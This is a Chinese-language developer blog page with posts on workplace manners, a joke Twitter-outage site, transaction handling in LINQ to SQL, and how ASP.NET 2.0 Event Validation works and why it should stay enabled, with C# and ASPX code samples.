我女兒三歲多的時候,有一次在捷運上指著鄰座胖得像豬身材豐腴的女乘客問我:"把鼻,那個阿姨怎麼那麼胖呀?" 我沒有因為她小小年紀居然觀察力過人、好奇心十足而感到驚喜,反而第一時間的反射動作是糾正她不可以當面議論別人,或講會讓別人難過的話,這是一種基本禮貌! 這是我的父母、師長從小就灌輸我的觀念,我也很自然而然地本能地傳承給我女兒。但是,我卻在職場上發現有些人忘卻了基本禮儀,總是順著自己的想法,恣意而為,想到什麼說什麼,從不顧及對方的感受。

千萬別以為全天下只有你是豪爽瀟灑、心直口快的性情中人,其他人都是自願要當矯揉做作的虛偽小人。誰喜歡沒事幫人家擦屁股收殘局? 如果能不計後果,誰不想大口訐譙、痛快罵人? 之所以你能不計後果地口吐真言,到今天還活得好好,沒被人炒魷魚蓋布袋大卸八塊做成消波塊,全多虧你周遭這群"虛偽做作之人",平日耗盡心力幫你解圍善後,地球才得以保持平衡。

我認為,"不好意思,我這人就這麼直!"不是不能說,應該要改成"不好意思,我這人太直了,我會好好改進!",然後向你得罪的對象深深一鞠躬,向為你解圍善後的親友同事致謝,為你帶來的驚擾及引發的社會成本表示歉意,並開始學做一個不逞口舌之快、不惹麻煩的成熟大人。

Posted 16 May 2008 01:25 AMJeffrey | 2 comment(s)
Filed under:
Ha! http://IsTwitterDown.com

之前Goston介紹過一個網站: Down for everyone or just me?

當你連不上某個網站時,可以連上去看一下是否該網站真的掛點了? 或是全天下只有你一個人被排擠不給用? XD

It's not just you! some.web.com looks down from here.的表示方法挺搞笑的。今天想連上twitter,發現連不上,用twitter down去Google,本想看看有沒有人在討論twitter的近況,卻意外找到一個更有趣的網站: http://istwitterdown.com

這個網站畫面簡單乾脆到了極點! 當twitter當機時,會出全白的網頁,只在正中央顯示一個紅色Yes連結。按下去會連到Amazon一本書: "教你如何設計高擴充性網站架構"的電腦書--Scalable Internet Architectures (Developer's Library), 諷刺意味十足。看到這裡,我笑了~~~

我twitter用得不多,但早有耳聞不少人批評它穩定性不佳(有人看到拿螺絲起子的小貓,不覺可愛,只想抓狂),但系統再怎麼不穩定,能搞到有心人另外建了站台,還註冊了專屬URL來檢核網站是否掛點,實在不是件簡單的事。雖然是簡單的白底紅字網頁,我卻可以感受到作者強烈的怨念... 所有正在編織Web 2.0美夢的人,都應引以為戒。

PS: 當twitter正常時,網頁則是出現黑色的No,連結到Amazon的慶典音樂精選輯CD

KB-Transaction in Linq to SQL

關於Ling to SQL如何處理交易,一直有個疑問 -- 當多筆資料的更新動作必須包成Transaction時,在Linq to SQL中應如何處理?

花了點時間研究,心得如下:

  1. 當連續進行多筆資料更新,再一次DataContext.SubmitChanges();,預設Linq to SQL會自動將這些INSERT/UPDATE/DELETE包成一個Transaction。例如:
    var order1 = (
        from o in db.Orders
        where o.OrderID == 10248
        select o).First();
    order1.ShipPostalCode = DateTime.Now.ToString("HHmmss");
    var order2 = (
        from o in db.Orders
        where o.OrderID == 10249
        select o).First();
    order2.ShipPostalCode = "123456789ABCDEF";
    db.SubmitChanges();
    第二筆訂單更新時,故意將郵遞區號設成123456789ABCDEF,會超出VARCHAR(10)的長度限而出錯。實際測試,可以發現連第一筆更新也不會寫入資料庫,證明兩筆UPDATE動作被自動包成Transaction。用SQL Profiler可以看到更明確的證據:
     
  2. 如果你希望能精確控制Transaction的Submit、Rollback,例如: 兩個DataContext共用一條Connection,可用類似以下的寫法:
    SqlConnection cn = new SqlConnection(connString);
    //兩個DataContext共用同一條Connection
    Northwind dbA = new Northwind(cn);
    Northwind dbB = new Northwind(cn);
     
    //設定DataContext.Transaction
    cn.Open();
    DbTransaction trn = cn.BeginTransaction();
    dbA.Transaction = trn;
    dbB.Transaction = trn;
     
    var order1 = (
        from o in dbA.Orders
        where o.OrderID == 10248
        select o).First();
    order1.ShipPostalCode = DateTime.Now.ToString("HHmmss");
     
    var order2 = (
        from o in dbB.Orders
        where o.OrderID == 10249
        select o).First();
    order2.ShipPostalCode = DateTime.Now.ToString("HHmmss");
     
    //若這裡才設定Transaction,則SELECT時不會包Transaction
    //dbA.Transaction = trn;
    //dbB.Transaction = trn;
     
    dbA.SubmitChanges();
    dbB.SubmitChanges();
     
    //故意Rollback(白忙一場XD)
    trn.Rollback();
    cn.Close();
  3. 除了以上的兩種Transaction做法,如果要做跨資料庫的Distributed Transaction,就要靠好用的TransactionScope
    Northwind dbA = new Northwind(connString);
    Northwind dbB = new Northwind(connString);
    using (TransactionScope tx = new TransactionScope())
    {
        var order1 = (
            from o in dbA.Orders
            where o.OrderID == 10248
            select o).First();
        order1.ShipPostalCode = DateTime.Now.ToString("HHmmss");
        var order2 = (
            from o in dbB.Orders
            where o.OrderID == 10249
            select o).First();
        order2.ShipPostalCode = DateTime.Now.ToString("HHmmss");
        dbA.SubmitChanges();
        dbB.SubmitChanges();
        tx.Complete();
    }

以上這三種做法,分別就是MSDN文件上提到的Implicit Transaction、Explicit Local Transaction以及Explicit Distributable Transaction。這裡做一下簡單的比較:

  1. Implicit Transaction: 當沒有設定DataContext.Transaction也沒有包TransactionScope時,Call SubmitChanges()會自動將新增/更新/刪除動作包成交易,最為簡便。但要注意,它限於同一個DataConext(當然,同一個DB Connection),且Transaction的範圍無法包含SELECT。
  2. Explicit Local Transaction: 前題是參與Transaction的DataContext要共用一條Connection,且要自己完成BeginTransaction、Commit、Rollback等動作。設定DataContext.Transaction的時機可以決定是否將SELECT也納入Transaction範圍。還有一點限制是,這種做法只限同一台DB,不支援分散式交易。
  3. Explicit Distributable Transaction: 彈性最大,可支援異種資料庫的分散式交易,但要注意所有包含在TransactionScope中的資料庫動作都會啟用LTM或OleTx,成本頗為昂貴(輕巧的LTM適用的條件很嚴苛,只限SQL 2005,如果TransactionScope中有涉及一台以上DB或對遠端SQL 2005開啟兩條以上連線,一定是用貴森森的OleTx),可以視需要將不必參與Transaction的部分隔離開來,以增進效能。(延伸閱讀: .NET分散式交易程式開發FAQ )

在探索Linq的過程中,我開始覺得,"擅長SQL"漸漸不再是程式開發者數一數二的重要技能,Linq To SQL讓開發者可以在完全不懂SQL的情況下寫出資料庫存取程式;表面上開發者的技術門檻變低是好事,但不免開始擔心這個進步背後隱藏的黑暗面

未來,極有可能出現一行SQL都不懂的開發者拿著Linq這把新時代的機關槍,完全不瞄準就抱著四處掃射,任意寫幾行Code就發出一堆無效率的SQL查詢(大方地享用DataContext的自動關聯,一口氣由業務員查客戶,由客戶查訂單,再由訂單查明細)、成串混雜的Transaction(只要一路更動幾十個物件,再一次SubmitChanges()就可以辦到)。屆時,資料庫很可能被一堆無效率的查詢拖累而近癱瘓,一堆非必要的更新被自動包成Transaction則無疑開啟了Deadlock地獄的大門...

我想,一路從ADO、ADO.NET走來的老兵都深知前述的預言並非杞人憂天,所以記得要多說些鬼故事,提醒這群直接由Linq入門的菜鳥開發者一定要花時間了解Linq背後的SQL效能議題。Linq會變成化繁為簡的天使,還是拖垮資料庫的惡魔,關鍵握在他們手上。稍一不慎,Linq很可能就將變成聲名狼藉的資料庫殺手!

KB-About Event Validation of ASP.NET 2.0

不知你有沒有遇過以下的錯誤?

Invalid postback or callback argument.  Event validation is enabled using <pages enableEventValidation="true"/> in configuration or <%@ Page EnableEventValidation="true" %> in a page.  For security purposes, this feature verifies that arguments to postback or callback events originate from the server control that originally rendered them.  If the data is valid and expected, use the ClientScriptManager.RegisterForEventValidation method in order to register the postback or callback data for validation.

無效的回傳或回呼引數。已在組態中使用<pages enableEventValidation="true"/> 或在網頁中使用<% Page EnableEventValidation="true" %> 啟用事件驗證。基於安全性理由,這項功能驗證回傳或回呼引數是來自原本呈現它們的伺服器控制項。如果資料為有效並且是必需的,請使用ClientScriptManager.RegisterForEventValidation方法註冊回傳或回呼資料,以進行驗證。

知道它是怎麼冒出來的嗎? 或者你每次都是依著提示將enableEventValidation設成false就當作沒事? 這裡花一點篇幅介紹一下。

首先,這個錯誤源自ASP.NET 2.0所加入的新功能,主要的著眼於防範資料在傳送前被駭客篡改,以強化資安。例如: 你有個下拉選單,決定會員要加到哪個群組,如果駭客戶得知還有個系統管理者群組,偷偷把它加進選項裡,那那那... (不可否認,這類防護挺煩人的,但很不幸地,"用麻煩換資安"一向是鐵律,唉~~~)

我最常看到的情境,多半都是開發者用AJAX或純Javascript方式,依使用者的需求動態變更了下拉選單的內容,接著在送出表單時,噹! Exception~~ 這都肇因於ASPX不認得這些Client-Side動態加入的下拉選項,抱著寧可錯殺一百不可錯放一個的心態,質疑這是遭駭客篡改的結果,用Exception阻擋"入侵"。

我用一個簡單的例子來說明:

<%@ Page Language="C#" AutoEventWireup="true"%>
<html><head><title>Event Validation Test</title></head>
<script type="text/C#" runat="server">
    protected void Page_Load(object sender, EventArgs e)
    {
        if (!Page.IsPostBack)
        {
            DropDownList1.Items.Add(new ListItem("1"));
            DropDownList1.Items.Add(new ListItem("2"));
        }
    }
</script> 
<body onload="init();">
    <form id="form1" runat="server">
    <div>
        <asp:DropDownList ID="DropDownList1" runat="server">
        </asp:DropDownList>
        <asp:Button ID="Button1" runat="server" Text="Button" />
    </div>
    <script type="text/javascript">
    function init() {
        var sel = document.getElementById("DropDownList1");
        sel.options[sel.options.length] = new Option("3");
    }
    </script>
    </form>
</body>
</html>

在上面的例子中,我們在Server-Side為DropDownList1加上選項1, 2,在Client-Side以Javascript加上選項3。實際執行時,如果你選1, 選2,按Button1時一切正常,若選3再按Button1,就會見到前述的Exception。問題出在ASP.NET並不認得我們在Client-Side另行加入的選項3。

除了修改enableEventValidation停用整個網頁的事件檢核防護,錯誤訊息中提到的另一個做法是用ClientScriptManager.RegisterForEventValidation讓ASP.NET認得"3"這個在Client-Side偷生的小孩,寫法如下:

<script type="text/C#" runat="server">
    protected void Page_Load(object sender, EventArgs e)
    {
        if (!Page.IsPostBack)
        {
            DropDownList1.Items.Add(new ListItem("1"));
            DropDownList1.Items.Add(new ListItem("2"));
        }
    }
    //在Render()加入特別申報邏輯
    protected override void Render(HtmlTextWriter writer)
    {
        //另外為"3"報戶口
        ClientScript.RegisterForEventValidation(
            DropDownList1.UniqueID,
            "3");
        //不要忘了呼叫原來的Render()
        base.Render(writer);
    }
</script> 

經過這番修改,選3後再按Button1便不再出錯。不過你應該也會注意到了,Postback後,下拉選單並不會留在3上,畢竟在ASP.NET的認知中,DropDownList1的選項只有1, 2而已。

以上的做法,雖然可以讓"3"就地合法,但如果選項內容是透過AJAX在執行期間呼叫其他Web Page或Web Service取得,在開發ASPX時根本無從得知,則此一解決方式豈不淪為空談? 沒錯! 用EnableEventValidation排除無關資安的情境看來較為最簡便,但每次一設就是整個Web Page,難道不能只針對某些會動態變更的Server Control設定? 不行!

的確,在這個資安議題上,看來沒有簡單有效的折衷之道。有一種做法是開發自訂元件,以不宣告SupportsEventValidation來避開EventValidation,要為此要另外開發元件難稱簡便。我個人實務上慣用的做法是: 既然是AJAX動態管理的下拉選單,何苦執著於要建成DropDownList? 反正前面說過,DropDownList選了動態加入的選項,在Postback時也無法享用自動停在該選項的方便性,還不如直接使用HTML的<SELECT>就好,再設法將選取結果同步到特定HIDDEN INPUT跟Server-Side溝通,這樣就可省去跟資安機制拼命的困擾!

雖然EventValidation會帶來一些困擾,基於資安的考量,還是很鼔勵大家靠它來杜絕駭客動手腳,儘量不要任意停用。

更多文章 下一頁 »

搜尋

Go

<May 2008>
SunMonTueWedThuFriSat
27282930123
45678910
11121314151617
18192021222324
25262728293031
1234567
 
RSS
【工商服務】
最新回應

Tags 分類檢視
關於作者

一個醉心技術又酷愛分享的Coding魔人,十年的IT職場生涯,寫過系統、管過專案, 也帶過團隊,最後還是無怨無悔地選擇了技術鑽研這條路,近年來則以做一個"有為的中年人"自許。

文章典藏
其他功能

這個部落格


BlogLook Score and Rank

Syndication